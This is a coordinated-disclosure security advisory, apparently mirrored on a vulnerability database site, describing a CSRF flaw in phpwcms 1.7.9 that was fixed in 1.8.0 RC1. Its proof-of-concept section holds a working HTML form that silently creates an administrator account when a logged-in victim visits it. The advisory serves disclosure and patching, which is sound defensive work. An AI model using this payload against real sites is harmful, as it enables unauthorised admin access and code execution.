`Security Advisory - Curesec Research Team
1. Introduction
Affected Product: phpwcms 1.7.9
Fixed in: 1.8.0 RC1
Fixed Version https://github.com/slackero/phpwcms/archive/
Link: phpwcms-1.8.0-RC1.zip
Vendor Website: http://www.phpwcms.de/
Vulnerability CSRF
Type:
Remote Yes
Exploitable:
Reported to 09/29/2015
vendor:
Disclosed to 12/02/2015
public:
Release mode: Coordinated release
CVE: requested, but not assigned
Credits Tim Coen of Curesec GmbH
2. Vulnerability Description
CVSS
Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
Description
There is no CSRF protection for any forms, which means that an attacker can
perform any action a victim can perform, if the victim visits an attacker
controlled website while logged in. In the case of phpwcms, an attacker can add
an admin user and thus gain code execution.
3. Proof of Concept
Add Admin User:
<html>
<body>
<form action="http://localhost/phpwcms-phpwcms-1.7.9/phpwcms.php?do=admin&s=1" method="POST">
<input type="hidden" name="form_newloginname" value="Jane" />
<input type="hidden" name="form_newpassword" value="Smith" />
<input type="hidden" name="form_newemail" value="[email protected]" />
<input type="hidden" name="form_newrealname" value="Jane Smith" />
<input type="hidden" name="form_feuser" value="2" />
<input type="hidden" name="form_active" value="1" />
<input type="hidden" name="form_admin" value="1" />
<input type="hidden" name="verification_email" value="0" />
<input type="hidden" name="form_aktion" value="create_account" />
<input type="hidden" name="Submit" value="send user data" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
4. Solution
To mitigate this issue please upgrade at least to version 1.8.0 RC1:
https://github.com/slackero/phpwcms/archive/phpwcms-1.8.0-RC1.zip
Please note that a newer version might already be available.
5. Report Timeline
09/29/2015 Informed Vendor about Issue
09/29/2015 Vendor confirmed issues
10/21/2015 Reminded Vendor of Disclosure Date
10/25/2015 Vendor requests more time
11/17/2015 CVE Requested (no reply)
11/24/2015 Reminded Vendor of Disclosure Date
11/29/2015 Vendor releases fix
12/02/2015 Disclosed to public
Blog Reference:
https://blog.curesec.com/article/blog/phpwcms-179-CSRF-123.html
--
blog: https://blog.curesec.com
tweet: https://twitter.com/curesec
Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation